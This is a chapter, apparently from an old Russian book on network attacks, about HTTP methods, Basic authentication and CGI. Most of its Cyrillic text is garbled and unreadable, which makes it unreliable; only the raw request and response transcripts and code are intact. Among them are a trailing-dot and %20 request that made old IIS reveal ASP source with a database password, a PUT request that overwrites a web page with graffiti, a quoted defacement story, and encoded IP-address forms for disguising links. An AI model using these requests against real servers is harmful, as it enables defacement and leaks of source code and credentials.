 ⫥,  ⮪ HTTP, ॠ騩  ᫥  ,   ⭮ ᫮  ,   ᮢᥬ  ⠪! 쭮 ⢨  WEB-ࢥ஬ ᯥ稢    ᥣ   !
⭮?  , -  ,   HTTP, ࠭稢 প ।祩   ࢥ     ।  . 쭥 ࠡ⪠ ଠ樨  室   ⥭,  ⨬  ᯥ樠஢ ணࠬ ᯥ祭.


१ <砭>




   WEB-ࢥ 室 প 㤠 믮 ணࠬ,  । 䠩  ଠ MIME.
   ⮡ࠦ 祭 ଠ樨 (⥪, 䨪, )  믮 ।  ணࠬ  (Java, Visual Basic Script).
  <⠪  WEB-ࢥ>  <⠪  WEB-> 㤥 ,   祬 ⠪ 奬 ⠫ 梨 ⨢ ⠪.
 祭  HTTP-ࢥ 室 ⠭   TCP-ᮥ  쬨⮬  (᫨  ७ ⭮) [251].




㭮 18  <祭>



    telnet- [252] 砥 ⮢  ਥ   짮⥫. ⢨ ⢫  奬 <-⢥>, ஡ ᠭ ன ᮤন  RFC-1945   RFC-2068,   ⮩   ᬮ७  ᭮ , 祬,    業 ⢨  WEB-ࢥ஬.
  룫廊 ᫥騬 ࠧ:


 <⮤> <訢 > < HTTP>

  1: 祭 A

  2: 祭 B

:

 <CRLF>




᫨  㪠뢠  HTTP, ⢥ 㤥 饭  ᯥ䨪樨 HTTP 0.9,  易 ন   [253].
⢮      ⮤  த .  ⥩襬 砥,     ⢮.
⮤ "GET" ᯮ  祭 䠩  ࢥ. ᫨  䠩 ⭮,   ,  ⮣  ᨬ  ⮥ ࢥ   ᮤন 䠩  㬮砭,  ᯨ᮪ 䠩 ⥪饣 ⠫,  ᮮ饭  訡 㯠.
來 த஢ ᪠  ᫥騩 ᯥਬ. ⮡   ࠭ ᠩ "lightning.prohosting.com/~kpnc/" 室 ⠭ TCP-ᮥ  㧫 "lightning.prohosting.com"  쬨⮬   ᫠ ࢥ ᫥騩 : "GET /~kpnc/".  ⪨ ஬⮪ ६, ࢥ 뤠 ⢥, ਢ   ࠭,  ,  ࠧࢥ ᮥ:




㭮 19 ⢥ ࢥ   GET /~kpnc/



᫥ ।⠢ ᥡ,   룫拉  HTML   㧥,  ࠦ   뫪  ਣ⮢ .  ந諮 ,    ᠬ ?  㧥   ᮤন 뫪, ⠪ 뢠 Uniform Recourse Identifier (᮪饭 URI),  ନ஢  । .


१ <砭>




 㦭  URI (Uniform Recourse Identifier)  URL (Uniform Recourse Locator). 䨪  ⭮  쭮 ࢥ   䨣஢  ப . ⨢ , URL  㪠뢠 㤠 㣮  ⪠   ࢥ Microsoft, 㬥, ᯮ, ᪠,  www.netscape.com 祬 訬  .
 ࠧ URL=⮪:///URI:,  URI= ?ࠬ amp;祭 1 amp;祭 2,  , URI   URL.
᪮, ஫ 㧥  室  ᠬ⥫쭮,  稬  ࢥ,  諥  ᫥騩  "GET /~kpnc/next.htm HTTP/1.0"


 GET /~kpnc/next.htm HTTP/1.0



 HTTP/1.1 200 OK

 Date: Thu, 13 Apr 2000 11:40:07 GMT

 Server: Apache/1.3.6 (Unix)

 Last-Modified: Thu, 13 Apr 2000 11:28:20 GMT

 ETag: "b13adc-144-38f5af54"

 Accept-Ranges: bytes

 Content-Length: 324

 Connection: close

 Content-Type: text/html



 <BODY>

 <H1>

 , :

 <HR>

 </H1>

 <I><B></B> "   袥᪮ ନ"  ᢮ ⮨⢠,

      ठ,   ⠭   襥.</I>

 <BR>

 <DIV align=right>

  

 <BR>

 " ࠧࠡ⪨ 몮 ணࠬ஢  ஢ ஢"

 <HR>

 </BODY>




 ᯥ䨪樨 HTTP 1.0 ਢ  ⮬,  ⢥ ࢥ  ⫨砥  ।饣.      ⢮  ,   ᥡ ଠ  ࢥ,  ᫥ 䨪樨 㬥  㣨,    ᢥ.
뤥  ⮬ ப <Connection: close>   ⮬,   㬮砭 ࠭ ० ࠧ뢠 ᮥ ࠧ  ᫥ 뤠 ⢥.  室 ᭨ 㧪  ࢥ,  짮⥫ ᯮ,  ய  ᮤন ࠭窨,   . ,   ᮢᥬ 㤮 ( ᮢᥬ 㤮)  ࠡ  telnet-.
⮡  祭  "Connection"  ⨢, 室 ᢮  祭 <Keep-Alive>, ᫠ ࢥ   [254].   ᯮᮡ ᤥ , த஢ :


 GET /~kpnc/ HTTP/1.0

 Connection:Keep-Alive



 HTTP/1.1 200 OK

 Date: Sat, 15 Apr 2000 06:10:37 GMT

 Server: Apache/1.3.6 (Unix)

 Last-Modified: Thu, 13 Apr 2000 11:30:04 GMT

 ETag: "b139bf-83-38f5afbc"

 Accept-Ranges: bytes

 Content-Length: 131

 Keep-Alive: timeout=15 , max=100

 Connection: Keep-Alive

 Content-Type: text/html



 <BODY>

 <BR>

 <BR>

 <HR>

 <H1>

 <CENTER>

 Helo, Sailor!

 </H1>

 <BR>

 <H2>

 Click <A HREF="next.htm">here</A>

 </h2>

 <HR>

 </BODY>





뤥  ⮬ ப   ⮬,  ᮥ 㤥 㤥ন  祭 ⭠ ᥪ㭤 , ᫨  祭 ⮣ ६     ⨢, - 㤥 ࠧࢠ ࢥ஬.
㫨 祭 "timeout"  㢥  ஬⮪  100 ᥪ㭤 ( 筮  ⭮ ࠡ  telnet-),   ।, ॢ    ⮩ ࢥ. (ᨬ쭮 ࠭祭  ६  㤥ঠ ᮥ   ࢥ  ࢥ).
⠫   뢠 ᠭ  RFC-1945  RFC-2068,    ᬠਢ.
 㤠 믮 ணࠬ  ᯮ짮    ⮤ "GET", 뢠 筮 ⠪,    ᮤন 筮 HTML-㬥. ⢥ ࠧ稥 砥  ⮬,   頥  室 ⥪ ணࠬ,  १  ࠡ.   ᢮ ᯮ殮 ᮤন ᯮ塞 䠩  (筥    ),  ᫨  ࠢ   ⥭.


१ <ଠ>




ᯮ ஬ ᪠, ࠧ訩  㦥 訡  Internet Information Server 3.0 (IIS 3.0), 騩    ᮤন asp (Active Server Pages) ਯ⮢      窨.  , ᫨  default.asp [255], ᯮ  ᠩ www.microsoft.com [256],  ⠪ - "GET /default.asp
. 
[257]",  ࢥ ୥ ᠬ 䠩,   १  ࠡ.
ਬ:
GET /Default.asp.
<% emailx=request.form("email")
remarkx=request.form("remark")
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Local SQL Server", "sa", "DTide"
Set RS = Conn.Execute("insert into Web_data.dbo.ASP_data(email,remark) values('" amp; emailx amp; "','" amp; remarkx amp; "')") %>
Your information has been added to our database.
ࠡ稪  ᠫ ᪮쪮  ப ਢ쭮 䨫  ⨫  .  㬠      諮,    ᠬ 맮     - "GET /default.asp%20/",    ᨬ 窨  ⭠ 祭.  ⮫쪮  饭 ⪠  ᯮ.
 ࠫ -   ⪠ ⪭  稢 ᯥ譮.  ᢮ 宫      祭 - ᫥   ।.



१ <砭>



 ࠢ쭮 ⨪ ஢, 訡  IIS   﫠   ࠡ. 筮 뫮  ࠢ  ⥭ 䠩.  ᮦ,  設⢥ 砥 ⠪ ࠢ ⠭,    ࠬ  ࢥ, ⥮᪨   饣 ᮤন ਯ  १⠬  ࠡ.
 ⢥ 讣 ࠦ,   樮 ਬ, ᯮ   http://lighning.prohosting.com/~/kpnc/cgi-bin/helo.pl   ࠡ   㭪, ਢ :




㭮 20  㤠 믮 ணࠬ



᫨   室 䠩, ਫ   ("/SRC/Hello.pl"), ᠥ    ࠭:
 #!/usr/local/bin/perl -w
 print "Content-type: text/html\n\n";
 print "Hello,Sailor!\n";
ࢥ <ꥫ>  ப ( ⨭  뤥  ⮬). ᫨    ,  믮 ਯ ࢥ  ᮮ饭  訡. 稭 ⠪  ஡ ᬮ७   <⮪ CGI>.
  <  ᤥ   Perl> 砫,   ࢥ  ।⠢  믮 ਯ⮢.  ⮣ 筮  ᢮ 䠩  ४,  ਡ⠬ "r w x - - x - - -x", ,  ࠢ, 뢠 </BIN>  </CGI-BIN>.    ᤥ   FTP (File Transfer Protocol, ᬮ  <⮪ FTP> [258]),   饬 設⢥ 砥 ftp-  (筥, ࠢ쭥 뫮  ᪠,  ).
⨢ , ⮤ PUT    ,    ᯥ宬  ᯮ짮 ( Internet ,    饭 - ࠧ襭). ᯮ짮 ⮤ PUT ॡ    ,  㤥 ᬮ७ .
 <> 䠩  ࢥ    易⥫쭮 稥  "Content-length", ࠢ  稢 䠩  ,  ⠪  "Accept", 㪠뢠饣   ଠ  । . 易⥫쭮  "From"  ᮤঠ ஭  ࠢ⥫,     ⢮.
⮤ PUT  ᯮ짮,  ᮧ   饭  㦥 饣 䠩  ࢥ, ࠧ㬥,  稨  ࠢ 㯠. ਬ, ⮡ ⠢ ᢮ graffiti   ࠭窥 ᠩ http://lightning.prohosting.com/~kpnc [259]  ᫠ ࢥ ᫥騩 :
 PUT /~kpnc/ HTTP/1.0
 Accept: text\html
 From: vasia@bestia.my
 Content-type: text/html
 Content-length:220 [260]








 <BODY>



 ꥫ  - ᯠ ॢ!



 <HR>




 <H1>




 <CENTER>



 <IMG SRC="http://www.aport.ru/w_liven.gif">
   <A HREF="mailto:vasia@bestia.my"></A>:
 <IMG SRC="http://www.aport.ru/w_liven.gif">



 </H1>




 </BODY>



᫨  諠 ᯥ譮,  ࠭  㧥 Internet Explorer 㤥 룫拉 ⠪:




㭮 21  룫廊  ⠭ ࢥ ᫥  䨪樨



   ᫥ ᯮᮡ, ᯮ㥬 諥  䨪樨 ࠭祪  饭 ࢥ஢  Internet.   饥 ६ 砩 ।, ⥬  , ਢ  ࠣ 㡥,   -⠪ :
" ५  ( ९襩 ਢ窥) 拉 ⥯ 饭  (ᠬ ) ⥯ 㯮 .  ⮣  ⠫  ( 㬠???) ᢮  ᪠ 3.01 (㧥 Netscape Navigator ন ⮤ PUT,  ⫨稥  Internet Explorer - .). ⠫   ४  㦨 祭 ࠭  ᥣ譥  ,   ४ਨ /scripts  /cgi-bin  묨"
<  稢  饭,   쪨    室 > Story by DiGGertaL SpOOn (ਣ  室   http://www.hackzone.ru/articles/idaho.html).
  ,   㪮᪨ <> 㫨஢ ᥬ <堪᪨> ⨫⠬  ।,   ப  . ⮡   <>   易⥫쭮 ⠭  ᢮ 設 Netscape Navigator.  ᯮ짮, ਬ, ਫ <Microsoft Web Publishing>, ஥ ন  䠩  ࢥ  HTTP-⮪ ᥬ 㯭묨 ᯮᮡ:




㭮 22 Microsoft Web Publishing ন ⮤ POST 室  <> 㬥⮢  ࢥ



  ᥣ 諥  ⥬   ।  㯥 㤥 ⪠.  ⨢樨 - ⮤ PUT 饭; ⮤ PUT ࠧ襭,   ࠢ   㪠 䠩 (४); , ⮤ PUT ࠧ襭, ࠢ  ,  ॡ ਧ (   ஫).
 ਢ ⮪  ᫥⥫ ⮪ 祭  ᫥騬 ࢥࠬ: http://kpnc.virtualave.net, http://dore.on.ru  http://195.161.42.222.


 PUT /index.html HTTP/1.0



 HTTP/1.1 405 Method Not Allowed

 Date: Sat, 15 Apr 2000 21:50:26 GMT

 Server: Apache/1.2.6

 Allow : GET, HEAD, OPTIONS, TRACE

 Connection: close

 Content-Type: text/html



 <HTML>

 <HEAD>

 <TITLE> 405 Method Not Allowed </TITLE>

 </HEAD>

 <BODY>

 <H1> Method Not Allowed </H1>

 The requested method PUT is not allowed for the URL /index.html.<P>

 </BODY></HTML>

 PUT /Index.html HTTP/1.0



 HTTP/1.1 403 Access Forbidden

 Server: Microsoft-IIS/4.0

 Date: Sat, 15 Apr 2000 22:04:25 GMT

 Content-Length: 495

 Content-Type: text/html



 <html>

 <head>

 <title>Error 403.3</title>

 </head>

 <body>

 <h2>HTTP Error 403</h2>

 <p><strong> 403.3 Forbidden: Write Access Forbidden </strong></p>

 <p>This error can be caused if you attempt to upload to, or modify a file in, a

 directory that does not allow Write access.</p>

 <p>Please contact the Web server's administrator if the problem persists.</p>

 PUT /Index.htm HTTP/1.0



 HTTP/1.1 401 Access Denied

 WWW-Authenticate: NTLM

 WWW-Authenticate: Basic realm="195.161.42.222"

 Content-Length: 644

 Content-Type: text/html



 <html>

 <head>

 <title>Error 401.2</title>

 <body>

 <h2>HTTP Error 401</h2>

 <p><strong>401.2 Unauthorized: Logon Faile d due to server configuration</strong>

 <p>This error indicates that the credentials passed to the server do not match the

 credentials required to log on to the server. This is usually caused by not s

 ending the proper WWW-Authenticate header field.</p>

 <p>Please contact the Web server's administrator to verify that you have permiss

 ion to access to requested resource.</p>






     ࠢ쭮 䨣樨 ࢥ ( 窨 ७ ⨪ ᭮),  䠪 ਧ樨 ᠬ  ᥡ   ᢨ⥫  饭 ( , ᯮ ⮩ ஫,  <guest>).
堭 ⥭䨪樨 HTTP-ࢥ஢ 쭮 ᫥, ⮬  㤥 ᠭ  ,  ࠭,  .  ⠫ ଠ  ௭  孨᪮ 㬥樨 RFC-2068  RFC-2069.
稭  ᯥ䨪樨 HTTP 1.0,  訡 "401" १ࢨ஢  <Access Denied, need authenticate [261]>.   ⨫ ࢥ  ᫥ ਬ.   ⢥ ࢥ ਢ  ࠧ:


 HTTP/1.1 401 Access Denied

 WWW-Authenticate: Basic realm=" 195.161.42.222 "

 Content-Length: 644

 Content-Type: text/html




뤥  ⮬ ப <Basic> 㪠뢠  ॡ㥬 ⮤ ⥭䨪樨,  "realm" ᮤন   ⥭䨪樨.  ࢥ  ⢮ ᪮쪮 ᨬ   㣠 ,   ᢮ 奬 㯠.  ਢ 砥, 祢, ⢥  ⥭䨪樨 ࠭   ࢥ.
⮡     , ᯮ  195.161.42.222, 室 ᮮ  짮⥫  ஫,   "Authorization"   ,  ஢ ᮣ᭮ ࠢ ࠭ ⮤ ⥭䨪樨.
 ⥩襬 砥,   ॡ ਡ  쥧  堭, ᯮ ⮤ basic, ।騩 
, 
஢ ஫  ஢ base64.  ᯮ짮 ⮬ ⮤ basic   <뢠> ஫ 諥, 㬥訬 墠 ⥢ 䨪 [262]. 쭮    ⠪ ஧  ࠧ ⮤ based  㯠  ᪮  ࠧ襭 ଠ樨 [263],  ⥣᪨  ४  RFC-2068.


१ <ଠ>




<The most serious flaw in Basic authentication is that it results in the essentially clear text transmission of the user's password over the physical network. It is this problem which Digest Authentication attempts to address.
Because Basic authentication involves the clear text transmission of passwords it SHOULD never be used (without enhancements) to protect sensitive or valuable information.>
RFC-2068, ࠧ 15.1, ࠭ 140.


१ < ஢ base64>




⮢ ⮪ ࠧ    ⮢ ᥣ, 騥     6  (26 - 64,   ),    ᮤন  ᨬ, 㥬  ᮮ⢥⢨  ᮡ ⠡楩, 饩  ⠡  ASCII.
믮  ४஢ ப ஫  base64-ଠ 쭮-⠪ 㤭⥫쭮,   짮⥫ Windows ᥣ  㪮 ।⢮, ⮬⨧饥  .    ਫ "Outlook Express". 筮 ந  騬 ࠧ (  <ࢨ>  㭪 <ࠬ>, ३   <ࠢ ᮮ饭>    <⮩ ⥪>;  襬   ⠭ ஢ Base64)  ᫠ 쬮 ᠬ ᥡ -  㤥 ⮬᪨ ४஢.




㭮 23 ⮩ Outlock Express  뫪 ᥬ  ஢ Base64



 ⮬ ப "KPNC:MyGoodPassword" [264] 㤥 룫拉 ᫥騬 ࠧ (  <>  <⢠>, ३   <஡>,    <室 ⥪ ᮮ饭>):


 S1BOQzpNeUdvb2RQYXNzd29yZ




    㯠   ࠭ ࢥ  룫拉, ਬ, ⠪:


 GET / HTTP/1.0

 Authorization: Basic S1BOQzpNeUdvb2RQYXNzd29yZ




᫨ ஫  ࠢ쭮,  ࢥ ୥ 襭 .  ⨢ 砥  ᮮ饭  訡.


१ <砭>




 Internet-   ⥬, । 襭 ॡ  ᭮, ப ᯮ ஢   ஢ ࠭ᯮ⭮ ⮪ TCP.
 堭 SSL (Secure Sockets Layer) ।⠢ ᮡ ᠬ⥫ ⮪, ਬ騩  । ஢ ஫  짮⥫᪨ ,  ண  ࠡ  HTTP, ⠪ FTP, SMTP  㣨 ⮪.
樨 SSL ন ⢮ ਯ⮠⬮, ⠪  RSA, DES, MD5, 롨ࠥ  ᨬ  業  த । ଠ樨.  ᮦ, ࠭ ᨨ ࠭稢 砬 让 ,   ࠧ⨥ Internet - ࣮  뫮 ࠢ [265].
祭 ⮪ SSL  ⮤ ਯ⮠ 室  ࠬ  . 騥 ⨬ ᮬ    譥 ⠭  ﭮ (http://www.ssl.stu.neva.ru/psw/), 饭 ਯ⮣䨨   ᭮.
⮤ POST, 筮 PUT, ।祭  ।     ࢥ.    ࠭   䠩,  । ਯ ࠬࠬ  ப.  ࢮ 鸞 ⭮,  ᮮࠦﬨ 㪮⢮ ࠧࠡ稪    ⮤.   ⮩ 祩  ࠢ  GET! ਬ, ਢ , 뢠 ࠢ ⠪ ⢥ত:


 <BODY>

 <A HREF="lightning.prohosting.com/~kpnc/cgi-bin/post.pl?user=kpnc amp;pass=saltmine">

 Click</A>

 </BODY>




㭮 024 뢠,  ࠬ, । ਯ ⮤ GET, ⮡ࠦ  ᭮ ப 㧥  㯭  祭 ᥬ 騬.     窨 ७ ⨪ ᭮.




㭮 024 । ࠬ஢ ⮤ GET



 ࠡ POST ⥭  짮⥫, ⮬   ࠢ  ।祩 䨤樠 .  ० 祬 த ⢮, 室  ମ ।⠢ ࠬ஢.
ண , ᯮᮡ ।⠢  ⤥ ࠬ஢   㣠  ஢  ࠧࠡ稪  ࠧࠡ稪. ப, । ਯ, ᨬ   ,   楫 祭   㭪樨 ARGV,   ⮬ ᫥  祬  ⫨砥  ਢ筮  ப ᮫ ਫ  MS-DOS  Windows.   , ࠧࠡ稪  ਤন । ᮣ襭. 筮 ப ࠬ஢ ।⠢ ᮡ ᮢ㯭 ᥬ, ࠧ ᨬ " amp;".  ᥬ ⮨   ࠬ   祭, ࠧ  ࠢ⢠.  ⠡ ᨬ   "%"  ᫥騬   ⭠ 祭 ᨬ.    ப ࠬ஢ ⤥ ⥫ .   ᫥騩 ਬ:
 lightning.prohosting.com/~kpnc/cgi-bin/post.pl?user=kpnc amp;pass=saltmine
, 室饥 ᫥ ⥫쭮 ,   "lightning.prohosting.com/~kpnc/cgi/-bin/post.pl" 뢠   (᮪饭 URL  URN - Uniform Resource Name). URL ⮨    (  砥 "lightning.prohosting.com"),  ("/~kpnc/cgi-bin/")   䠩 ("post.pl").
  䠩 ᫥ ப ࠬ஢, ࠧ   ᥬ - "user=kpnc"  "pass=saltmine". 冷 ᥬ  ࠥ  ஫,  ਯ 㤥 ࠡ   㦥, ᫨   ⠬.
 ᥬ ⮨   ࠬ (<user>, <pass>)   祭 (<kpnc>  <saltmine> ᮮ⢥⢥).  ஡  祭 ࠬ ⨬, ⮬, ᫨ ॡ  <saltmine>  ࠧ쭮 [266],   룫拉  ⠪ "salt%20mine".


१ <ଠ>




⭠ ᮡ 易      ⮣  IP- ஬ ⢮ ᯮᮡ. ਬ,   ।⠢  ⭠筮 , ᯮ짮 䨪ᮬ '0x', ⮣ <209.90.125.196> ( 㧫 lightning.prohosting.com) 㤥 룫拉  <0xD1.0x5A.0x7D.0xC4> [267]. ᫨ ᫮ 稭  ,   ࠪ  쬥筮,       ᠭ  <0321.0132.0175.0304>. , ᨬ 'b'  砭 ᫠ 㪠뢠     [268].
祢, ᠭ  ᯮᮡ  ஢   㣮,   १ ⮣, ਬ, <0xD1.0132.125.0xC4> (ࢮ  ᫥ ᫠ ⭠, ஥ ᫥ 쬥筮,  ⠢襥 - 筮).
 ,  窨 ७ 樮 ⥬  IP-   32-⭮ 楫, ⮬  ਫ [269]   -ࠧ⥫.   ⮣ 室 ।⥫쭮 ॢ   ⭠  .   , ⠪  <0xD1.0x5A.0x7D.0xC4>  <0xD15A7DC4>    ᮡ.    蠥 祭 १ ॢ   , ਬ  (<3512368580>)  쬥 (<032126476704>)  [270].
஬ ⮣, ⨬  ᨬ ᯮ짮  ASCII-, ।७  業. , ਬ, ࠦ <%32%30%39%2E%39%30%2E%31%32%35%2E%31%39%36> ⭮  <209.90.125.196>!
 짮 ⨬ 묨 ਥ, 室  让 ஦ -   ࠭⨨,  ᯮ㥬 ⮬ ணࠬ ᯥ祭 㤥  ন.    ⮨ ଫ ⠪ ᯮᮡ 뫪  饤㯭 ࠭窠, -   ⭮, 祬 ᯮ ⥫   ᬮ.
  㡫 ⠪ ᯮᮡ । 뢠 ॠ IP- ᠩ ⨢ ⥬⨪  ࠡ⭨ ᯥ㦡. ।⠢ ᮬ⥫, ⢮  ࣠ ᯥ樠⮢  䨪樥, 筮  襭  ⠪ ⮩ .


१ <ଠ>




  ᯮᮡ ⥭䨪樨   ।  짮⥫  ஫  ப  ᫥騬 ࠧ: http://user:pass@host/path/file
  ⪠  ⭥  । ஫   饭  ஭ . ⮬ ⠪ ᯮᮡ  饥 ६ ࠪ᪨ 襫  㯮ॡ.
祢, ᫥   ஫  ᭮ ப 㧥.  ⮩ 窨 ७ 祭 㤮 ⮤ POST, ।騩 祭  ࠬ஢  ⥫ . , ਯ, 饬 , ᮢ襭  ࠢ,  ᯮᮡ  뫨 ᫠ -   ⫨砥 POST  GET. ਬ, ਢ , 뢠  ⢥ত:


 GET /~kpnc/cgi-bin/post.pl?user=kpnc amp;pass=saltmine HTTP/1.0



 HTTP/1.1 200 OK

 Date: Sun, 16 Apr 2000 17:01:10 GMT

 Server: Apache/1.3.6 (Unix)

 Connection: close

 Content-Type: text/html



 <H1><CENTER>Simple POST Sample</CENTER>

 <HR>USER:<I>kpnc

 <BR>PASS:<I>saltmine

 POST /~kpnc/cgi-bin/post.pl HTTP/1.0

 Content-length:25



 user=kpnc

 amp; pass=saltmine



 HTTP/1.1 200 OK

 Date: Sun, 16 Apr 2000 17:00:34 GMT

 Server: Apache/1.3.6 (Unix)

 Connection: close

 Content-Type: text/html



 <H1><CENTER>Simple POST Sample</CENTER>

 <HR>USER:<I>kpnc

 <BR>PASS:<I>saltmine






筮 ⢥⮢ ࢥ 뢠,  ᨬ  ᯮᮡ । ࠬ஢, 㤠 ணࠬ ࠡ⠥ . 祬, ७ ப  ⮤ POST  ᯮᮡ ⤥  ࠬ  㣮  ᫨ ᨬ-ࠧ⥫ < amp;> , 㤥 ࠡ⠭ ⮫쪮  ᥬ - "user=kpnc".


१ <砭>




᫨  㤭  ।  "Content-length", 騬  ப ࠬ஢ ( ᮡ ࠪ୮  ࠡ  telnet-),    < ᮬ>,  ⠢訩  ஬.
⮤ POST  ।  ࢥ ᮮ饭 ࠪ᪨ ࠭祭 , [271] ⮬,   ࣠ HTTP- 䠩  ࢥ,   ⮬ 砥,  ⮤ PUT 㯥.
⮤ DELETE,   ᫥   , ।祭  㤠 ᮢ  ࢥ, , 祭 㤭 ।⠢ ᥡ    ᪠  믮 ਧ 짮⥫. ⥫ ᪨ ⠪       ਬ    樨, ⮬ ਤ ࠭稢 <> ⥮ਥ [272].
 ⮬ ᠭ ⮤ ⮪ HTTP 諮   , ᫨   1996    , ⥫쭮 襭 ᯥ䨪 - HTTP/1.1. ஡   ᠭ  RFC-2068,    ᫥  ᭮ .


१ <砭>




䨪 HTTP/1.0 ন ⮤ HEAD,  祭 GET,  頥   ⢥,  ⥫ ᮮ饭.
 ࠢ,  ᯮ  ன ஢ન 㯭 ,    ਢ⥫ ⮬  ஫ ॡ騪  䠩,    ᠭ樮஢   , <>      ᥪ稢 뫮. ⥫쭮,  ⠪ ⠪  ࠡ뢠.
० ᥣ, ॡ ᭥ , 易  ⪮ ᯮ짮  ⮤,  㪠   ᨨ. ਬ,   "GET /~kpnc/ HTTP/1.1" ࢥ  ᮮ饭  訡 400 - " ".   த஢  ਬ, ਢ :





GET /~kpnc/ HTTP/1.1



 HTTP/1.1 400 Bad Request

 Date: Tue, 18 Apr 2000 14:18:41 GMT

 Server: Apache/1.3.6 (Unix)

 Connection: close

 Transfer-Encoding: chunked

 Content-Type: text/html



 184

 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

 <HTML>

 <HEAD>

 <TITLE> 400 Bad Request </TITLE>

 </HEAD>

 <BODY>

 <H1> Bad Request </H1>

 Your browser sent a request that this server could not understand.<P>

 client sent HTTP/1.1 request without hostname

 ( see RFC2068 section 9, and 14.23 ): /~kpnc/<P>

 <HR>

 <ADDRESS>Apache/1.3.6 Server at lightning.prohosting.com Port 80</ADDRESS>

 </BODY>

 </HTML>







  ⢥⮬ ࢥ, ᫥ ਬ ࠧࠡ稪  ࠧ᭥ 稭 ⪠  㦨.  ᥪ 14.23 孨᪮ 㬥樨 RFC-2068,  㧭, , 稭  ᨨ 1.1, ⠭ 易⥫  "Host", ᮤঠ饥     㧫. ("If the Host field is not already present: all Internet-based "HTTP/1.1" servers MUST respond with a 400 status code to any "HTTP/1.1" request message which lacks a Host header field"). 祬, 㪠뢠  易⥫쭮,   ⢨ ࢥ ᯮ 祭  㬮砭 [273].  堭  ⫨ gateway-ࢥࠬ ७ 뫪  譨, ⨬ ⥢ 䨪.
⮬,   룫拉 ਡ⥫쭮 ᫥騬 ࠧ (室 ᭥  ):


 ; 祭 㧫 kpnc . softclub . net

 TRACE /hello HTTP/1.1

 Host:kpnc.softclub.net



 HTTP/1.1 200 OK

 Date: Tue, 18 Apr 2000 18:37:47 GMT

 Server: Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

 Transfer-Encoding: chunked

 Content-Type: message/http



 32

 TRACE /hello HTTP/1.1

 Host: kpnc.softclub.net




⮤ TRACE [274] 祭 ᨫ쭮  Echo (), ᯮ㥬  ஢ ⢠  裡   ॠ樨 ࢥ. 稢 TRACE-, 㧥     ࠢ⥫, 㪠  䠪⨢ [275]  "Age" ⢮ ᥪ㭤, 祭 ࢥ஬  ࠡ .   ࠬ ᯥ஢ ⥢ 䨪, 짮⥫ - 롨 ३訩 ࢥ  ᪮쪨 ઠ,  諥 業 㡭 ﭨ ࠧ ᮢ  ࢥ, ࠢ    ⪠  㦨.


१ <ଠ>




 ᥣ譨  設⢮ ࢥ஢  ন ᯥ䨪  HTTP/1.1, ⪠뢠 㦨 ॢ襣 . www.prohosting.com -   ,  㤠   ⮩   樨 ᮢ HTTP/0.9  HTTP/1.0
⥫쭠 ଠ  ࢥ   祭   ⮤ "OPTIONS"  㪠 ᨬ-    (  㯭 ଠ).
ਬ:


 OPTIONS * HTTP/1.1

 Host:kpnc.softclub.net



 HTTP/1.1 200 OK

 Date: Tue, 18 Apr 2000 19:00:58 GMT

 Server: Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

 Content-Length: 0

 Allow: GET, HEAD, OPTIONS, TRACE




 ਢ ਬ ࢥ஬ ᮮ頥 ⠭   ணࠬ ᯥ祭 (  ᨨ ॠ樨)  ࠧ襭 ⮤ - GET, HEAD, OPTIONS, TRACE; 祢, ।    PUT,  DELETE,   POST ( ⮣ 㧫  㬠襤訩).
ଠ  த ⥫쭮 砥 諥    ⥬ ᭮, ⮬    ᮧ 䨣 ࢥ  ᮡ⢥ 設  楫ࠢ ᫥  ਫ  । 訡,  ਧ 짮⥫  ਢ஢ .



. ⮪ CGI



O  ⮩ :
O ⪠  ᮧ  ࠧ ⮪ CGI
O ன⢮  祭 ⮪ CGI
O 祭  CGI-६
४ ࠭ 㦤 ࠧ뢭 HTTP  CGI, ᫥ ।⠢ ᮡ ᠬ⥫ ⮪, 訩     ६,  web-ࢥ஢     ⢮.
, ஡ ⪨ ᯮ짮 CGI-⮪ HTTP-ࢥࠬ ⭮  1993 ,   室 ࠡ뢠 , 塞 짮⥫  ஢ ᪨ ࠭, 뢮騥, ਬ, १ ண ᪠.
ࠤ樮 HTML ⮣   㬥,  Java    蠫, ⮬ ⢥ 室 ।⠢﫮 ᯮ짮  ⮩ 楫 譨 ணࠬ, ᠭ, ਬ,    ᯮ  ࢥ.
᭮ ஡ 砫  ⠭⨧樨 堭 ⢨  ⮬  㤠 ணࠬ. 䥩 CGI  祬 ,  ࠡ⪮ ᪨ ᮢ  ⠢ १⮢ ࠡ 譨 ணࠬ.
孨᪠ ॠ ⮣  룫廊 ᫥騬 ࠧ -  ࠧ     ਯ (ᬮ ⮤ GET  POST), HTTP-ࢥ ᮧ 㠫 ।,  ன 믮 ॡ㥬 䠩.  묨 ⢫ १ ⠭ -뢮 (⥫ ᮮ饭)  ६ 㦥 (HTTP-).
 ࠧ, ⠫  ࠧࠡ뢠 ணࠬ  ᯮ짮 ⠭ ⥪.   ᮣᮢ  ⮪   ᥡ 䥩 CGI.
  ᯨ᮪   ६,   ࠭ 祭   HTTP-:
-६  HHTP 祭 
-AUTH_TYPE Authorization 堭 ⥭䨪樨 
-CONTENT_LENGTH Content-Length  ⥫ ᮮ饭 
-CONTENT_TYPE Content-Type   ⥫ ᮮ饭 
-QUERY_STRING ப ࠬ஢  
-REMOTE_ADDR IP   [276] 
-REQUEST_METHOD ᯮ㥬 ⮤ (GET, POST:) 
   ६  ந஢ ࢥ஬, ⮬, ० 祬 㯨  । १⮢ ᢮ ࠡ, ਯ , ᯮ짮 ⠭ 뢮, ନ஢ HTTP- ⢥, ⤥  ⥫ ᮮ饭 ⮩ ப.
  ⮣   Perl-ਯ   祭 ப 'print "Content-type: text/html\n\n";',   訡筠 .


१ <砭>




  , ᪠ ࠭  ,  ᥣ  ७ࠢ   㣮 ࢥ  ,   "Location:"  HTTP-.
᫨ १⮬ ࠡ ਯ   䠩 ᮫ ࠧ஢, ⥫쭮 ४     "Content-Length", ⮡ ᪮ ணࠬ ᯥ祭  ४⭮ ⮡ࠦ 㭮 ண.   ࠢ   ࠡ⪨ 짮⥫᪨ ᮢ. ⮡ 㧭  । , ਯ   ६ CONTENT_LENGTH.
 ਬ, ணࠬ, 饩  짮⥫,  몥   룫拉 ⠪:
 fgets(*buffer,getevn("CONTENT_LENGTH"),stdin);
